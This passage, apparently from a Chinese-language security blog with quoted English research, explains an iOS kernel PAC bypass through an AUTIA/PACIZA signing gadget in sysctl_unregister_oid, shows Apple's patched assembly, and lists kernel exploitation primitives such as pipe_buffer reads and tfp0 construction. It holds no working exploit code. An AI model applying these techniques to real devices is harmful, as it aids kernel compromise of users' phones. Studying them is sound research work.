Critically, PAC* instructions will corrupt the PAC of a pointer with invalid extension bits by flipping a single bit of the PAC. While this will certainly invalidate the PAC, this also means that the true PAC can be reconstructed if we can read out the value of a PAC*-forgery on a pointer produced by an AUT* instruction! So sequences like the one above that consist of an AUTIA followed by a PACIZA can be used as signing gadgets even if we don't have a validly signed pointer to begin with: we just have to flip a single bit in the forged PAC.

简单地讲,就是AUT指令即使失败,也不会panic,只是把error code放到了pointer的高位上,并把结果值传给PAC指令继续工作;而PAC指令首先使用正确的extension高位来计算PAC,然后才会检测提供的高位extension是否合法,如果非法则将算好的PAC结果来个flip1位。所以绕过的技巧很直观:将AUT-PAC的结果修正1位回来即可。
作者在sysctl_unregister_oid这个函数中找到了这样的gadget:

   else
   {
       removed_oidp = NULL;
       context = (0x14EF << 48) | ((uint64_t)handler_field & 0xFFFFFFFFFFFF);
       *handler_field = ptrauth_sign_unauthenticated(
               ptrauth_auth_function(handler, ptrauth_key_asia, &context),
               ptrauth_key_asia,
               0);
       ...
   }

只要能触发到上述路径,即可造一个PAC Pointer,且这个值还存储在了handler_field中,只要利用任意地址读即可读出来。

当然这个bug已经被苹果修掉了:

In order to fix the sysctl_unregister_oid() gadget (and other AUTIA-PACIA gadgets), Apple has added a few instructions to ensure that if the AUTIA fails, then the resulting invalid pointer will be used instead of the result of PACIZA:

LDR         X10, [X9,#0x30]!            ;; X10 = old_oidp->oid_handler
CBNZ        X19, loc_FFFFFFF007EBD4A0
CBZ         X10, loc_FFFFFFF007EBD4A0
MOV         X19, #0
MOV         X11, X9                     ;; X11 = &old_oidp->oid_handler
MOVK        X11, #0x14EF,LSL#48         ;; X11 = 14EF`&oid_handler
MOV         X12, X10                    ;; X12 = oid_handler
AUTIA       X12, X11                    ;; X12 = AUTIA(handler, 14EF`&handler)
XPACI       X10                         ;; X10 = XPAC(handler)
CMP         X12, X10
PACIZA      X10                         ;; X10 = PACIZA(XPAC(handler))
CSEL        X10, X10, X12, EQ           ;; X10 = (PAC_valid ? PACIZA : AUTIA)
STR         X10, [X9]

With this change, we can no longer PACIZA-forge a pointer unless we already have a PACIA forgery with a specific context.

更多细节请阅读原文。

Summary

ipc_port类型的漏洞出来后,Ian Beer介绍了一个很好的模版来exploit这种类型的漏洞;然后苹果封杀了此exp技巧;接着,又发现了一个新的类型voucher也可以转回去ipc_port继续搞,而且不受之前patch的影响,Brandon等人公开了自己的exploit方法,只用一个洞就完成了内核提权,非常值得学习的是各种各样的漏洞利用技巧,尤其是还非常通用,另外值得注意的是,ipc_port有天然的kernel address leak特性。
可以看到的一些细节包括:

  1. 使用OSString读写内核数据。不过OSString一旦构造完,用户态不能直接修改里面的值,需要不停的重新释放、分配,提高了exp失败的风险。
  2. 使用pipe_buffer技巧读写内核数据。
  3. 使用ipc_kmsg分配受控大小的内核数据,如1k,4k,16k等。
  4. 修改ool_ports中的内核地址值,再receive ool ports可以获得新的mach port。
  5. gc的触发。
  6. tfp0的构造。

另外,public的渠道目前没有看到其他任何有效的PAC Bypass了,即意味着在PAC开着的iOS手机上,实现任意内核代码执行很困难。